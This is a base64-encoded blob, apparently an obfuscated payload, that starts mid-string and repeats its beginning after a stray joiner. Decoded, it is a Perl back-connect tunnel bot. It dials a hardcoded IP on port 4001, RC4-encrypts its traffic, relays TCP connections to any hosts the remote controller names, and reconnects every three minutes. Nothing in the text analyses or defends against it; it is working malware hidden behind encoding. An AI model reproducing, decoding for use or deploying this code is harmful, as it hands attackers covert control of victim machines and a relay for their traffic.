AzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDUnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQk